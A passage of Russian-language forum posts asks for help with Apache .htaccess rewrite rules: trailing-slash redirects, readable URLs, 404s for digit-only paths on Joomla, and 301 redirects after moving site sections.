  17. Добрый день, господа, разбирающиеся в .htaccess! Я уже задавал свой вопрос на этом форуме, однако ответа так и не получил, что, впрочем и неудивительно - мы живем при развивающемся капитализме и помощь профессионалов должна вознаграждаться. Так что пожалуй я оформлю свой вопрос в виде заявки на поиск исполнителя, чья работа и опыт будут оплачены. итак задача для исключения дублей страниц решил позакрывать адреса на сайте слэшем - чтоб безобразно, но однообразно, при этом файлы с расширениями закрывать не надо прописал в .htaccess RewriteCond %{REQUEST_URI} (.*/[^/.]+)($|\?) RewriteRule .* %1/ [R=301,L] в результате сейчас у меня все URL закрываются слэшами, кроме тех, в которых присутствует точка. НО точка у меня иногда встречается и в именах каталогов в URL Так что конкретизируя задачу: мне нужно, чтобы все адреса на сайте закрывались слешем кроме: файлов с расширениями php адресов содержащих tags адресов, содержащих archive Варианты с помещением в каталоги пустых .htaccess не предлагать - все это - виртуальные пути Оплату гарантирую Заинтересованных - прошу в личку
  18. Здравствуйте. Подскажите как сделать ссылки вида http:// www.example.com/struktura-sajta-i-chpu-razlichnyx-cms/ ? P.S.: php, htaccess, самописные движки
  19. Проблема следующая. Страницы вида: /сайт.ру/89989894 (где в урле ТОЛЬКО цифры) отдают статус 200 Страницы вида /сайт.ру/4sc35 (где есть буквы или хотя бы одна буква, как и положено: статус: 404) Движок джумла 2.5, видимо из-за какого-то используемого компонента. Отключать - не выход. .htaccess менял на стандартный, тему также менял. Проблема именно в компоненте и на стороне двига. Нужно правильно составить условие в .htaccess чтобы редиректило все урлы на 404 у которых в адресе одни лишь цифры. Кто может подсказать?
  20. Добрый день, уважаемые знатоки .htaccess и mod_rewrite! Одному из моих сайтов стало тесновато в рамках изначально построенной для него структуры, и потребовалось добавить новые разделы. С новыми материалами в новых разделах все просто, а вот как быть со старыми если перенос будет происходить следующим образом: Есть сейчас: http://некийсайт.ру/xxx/yyyyyy1/траляля3/ололо.php http://некийсайт.ру/xxx/yyyyyy2/траляля3/ололо.php http://некийсайт.ру/zzz/yyyyyy4/траляля2/ололо.php http://некийсайт.ру/zzz/yyyyyy5/траляля2/ололо.php http://некийсайт.ру/vvv/yyyyyy6/траляля1/ололо.php http://некийсайт.ру/vvv/yyyyyy7/траляля1/ололо.php изменится таким образом: http://некийсайт.ру/xxx/yyyyyy1/траляля3/ололо.php -> http://некийсайт.ру/aaa/yyyyyy1/траляля3/ололо.php http://некийсайт.ру/xxx/yyyyyy2/траляля3/ололо.php -> http://некийсайт.ру/bbb/yyyyyy2/траляля3/ололо.php http://некийсайт.ру/zzz/yyyyyy4/траляля2/ололо.php -> http://некийсайт.ру/aaa/yyyyyy4/траляля2/ололо.php http://некийсайт.ру/zzz/yyyyyy5/траляля2/ололо.php -> http://некийсайт.ру/ccc/yyyyyy5/траляля2/ололо.php http://некийсайт.ру/vvv/yyyyyy6/траляля1/ололо.php -> http://некийсайт.ру/bbb/yyyyyy6/траляля1/ололо.php http://некийсайт.ру/vvv/yyyyyy7/траляля1/ололо.php -> http://некийсайт.ру/ccc/yyyyyy7/траляля1/ололо.ph Внимание вопрос: как грамотно прописать редирект в .htaccess чтобы не растерять страницы в индексе ПС, и сделать так, чтобы пользователи, попадая по старым внешним ссылкам на старые адреса перекидывались на новые. Каталогов второго уровня - есть 5, будет - 6 (с новыми именами), каталогов третьего - более 200, но если че, я не ленивый, могу и руками редирект для каждой прописать, подскажите, что писать-то? Спасибо заранее :-)
  21. Всем привет! Нужна помощь, перечитал уже весь инэт, перепробовал всё, но не получается... Суть в следующем: На сайте реализовано ЧПУ с помощью .htaccess - сайт переделали, а редирект не поставили! Пытаюсь сделать 301 редирект - не получается... (301 редирект не один раз делал - вся работало, но тут ЧПУ, а старые страницы (/catalogue/?id=6) с символом который заменяется как я понял этим ЧПУ) Вобщем вот сам .htaccess Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^salonmebeli.com RewriteRule (.*) http://www.salonmebeli.com/$1 [R=301,L] ErrorDocument 404 http://salonmebeli.com/ AddDefaultCharset windows-1251 RewriteRule ^search/([^/\.]+)/$ search.php?keyword=$1 [L] RewriteRule ^search/([^/\.]+)/([^/\.]+)/$ search.php?keyword=$1&page=$2 [L] RewriteRule ^([^/\.]+)/$ pages.php?url=$1 [L] RewriteRule ^([^/\.]+)/([^/\.]+)/$ pages.php?url=$1&style=$2 [L] RewriteRule ^([^/\.]+)/([^/\.]+)/([^/\.]+)/$ pages.php?url=$1&style=$2&brand=$3 [L] RewriteRule ^([^/\.]+)/([^/\.]+)/([^/\.]+)/([^/\.]+)/$ pages.php?url=$1&style=$2&brand=$3&item=$4 [L] Что нужно добавить, чтобы был редирект, например со старой страницы http://salonmebeli.com/catalogue/?id=6 на новую http://www.salonmebeli.com/kuhni/ P.S.: сразу скажу, что: Redirect 301 /catalogue/?id=6 http://www.salonmebeli.com/kuhni/ - НЕ РАБОТАЕТ Спасибо братья ))!